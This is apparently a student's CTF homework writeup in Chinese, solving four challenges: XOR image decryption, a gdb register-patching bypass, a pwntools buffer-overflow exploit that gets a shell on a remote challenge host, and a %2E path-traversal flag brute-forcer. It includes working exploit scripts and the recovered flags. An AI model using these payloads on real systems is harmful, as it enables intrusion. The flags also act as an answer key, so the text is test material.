###### tags: `NTU` # 2021 HW0 Writeup R10922A10 郭泰佑 CTF Account: st9540808 > 所有用到的腳本都放在 code 目錄 ## to bf or not to bf 解法: **`to_bf_or_not_to_bf.py`** 原本兩張圖片都經過 XOR 加密,每個 pixel 都會從 PRNG 取出一個隨機數做 XOR。經過觀察可以看到對於兩張圖片,他們每個 pixel 加密的數列都是相同的,因為是使用同一個 seed 初始化。 $flag_i$ 和 $golem_i$ 分別代表這兩張圖片的第 $i$ 個 pixel,$RNG_i$ 是第 $i$ 個隨機數,兩張圖片做 XOR 就能消掉隨機數了。 $$\begin{aligned} (flag_i\ ⊕ \ RNG_i) ⊕ (golem_i\ ⊕ \ RNG_i)\\ = flag_i\ ⊕ \ golem_i \end{aligned} $$ 最後可以看到 flag 字體烙印在 golem 上。 ```python golem = cv2.imread('golem_enc.png', cv2.IMREAD_GRAYSCALE) flag = cv2.imread('flag_enc.png', cv2.IMREAD_GRAYSCALE) h, w = golem.shape for i in range(h): for j in range(w): golem[i][j] ^= flag[i][j] cv2.imwrite('test.png', golem) ``` ## XAYB 這一題我先用 IDA 列出程式流程,目標就是用 gdb 除錯時可以跑到 下圖中**紅圈**處那一個程式流程,因為那一格有印出 **"BINGO!"**,所以推測是跟使用者成功猜對有關。之後修改特定的暫存器就能繞過 5 個數都是正確的檢查,就能順利取得 flag。 ![](https://i.imgur.com/ln8JMJU.png) ## Arch Check 解法: **`arch_check.py`** 這一題是很簡單的 pwn,一開始看到 NX flag 是開啟的還以為是要用 ROP 解,找 gadget 找了好久最後用 `strings` 檢查執行檔才發現裡面已經有 `system` 了,而且用 `objdump` 反組譯又知有函式幫你執行 `system`,所以只要跳到這個函式即可,就能成功 get shell 了。 ```python # $ find . -name "flag" # ./home/arch_check/flag # $ cat ./home/arch_check/flag # FLAG{d1d_y0u_ju5t_s4y_w1nd0w5?} from pwn import * binary = ELF("./arch_check") system = binary.plt['system'] binsh = 0x7fffffffe48f pop_rdi_ret = 0x00000000004012c3 print(pop_rdi_ret) payload = flat( ['a'*40, pwnlib.util.packing.p64(0x00000000004011dd)] ) conn = remote('up.zoolab.org', 30001) conn.recv() conn.sendline(payload) conn.recv() conn.interactive() ``` ## text2emoji 解法: **`text2emoji.py`** 這是我第一次解 web 的題目,找可以用的解法就花了不少時間,觀察用 express 寫的伺服器,要 GET 的 URL 位在我們可以存取的上一層,所以勢必得用 `..` 在 URL 中。 最後我看 [orange tsai 的簡報](https://www.blackhat.com/docs/us-17/thursday/us-17-Tsai-A-New-Era-Of-SSRF-Exploiting-URL-Parser-In-Trending-Programming-Languages.pdf)才知道跟 URL Encoding 有關,必須用 `%2E` 取代 `.` 繞過檢查。 可以看下圖查看我使用 Brup 成功 GET 到 lookslikeflag,但這又遇到一個問題,request 只會回傳子字串是否存在 flag 中,所以我另外寫一個程式 **`text2emoji.py`** 一個字一個字試出來,就能成功得到完整的 flag 了。 ![](https://i.imgur.com/iN3cy4m.png) ```python # https://stackoverflow.com/questions/3856693/a-url-resource-that-is-a-dot-2e # FLAG{3asy_p4th_tr4vers4l} import requests import json possible = "0123456789abcdefghijklmnopqrstuvwxyz_}" # data = {"text": "%2E%2E/looksLikeFlag/user?flag=FLAG{"} # r = requests.post('http://splitline.tw:5000/public_api', json=data) # res = json.loads(r.content.decode('utf-8')) # print(res['looksLikeFlag']) curr = "" while 1: for c in possible: data = { "text": "%2E%2E/looksLikeFlag/user?flag=FLAG{" + curr + str(c)} r = requests.post('http://splitline.tw:5000/public_api', json=data) res = json.loads(r.content.decode('utf-8')) if res['looksLikeFlag']: curr += str(c) break print(curr) if c == "}": break ```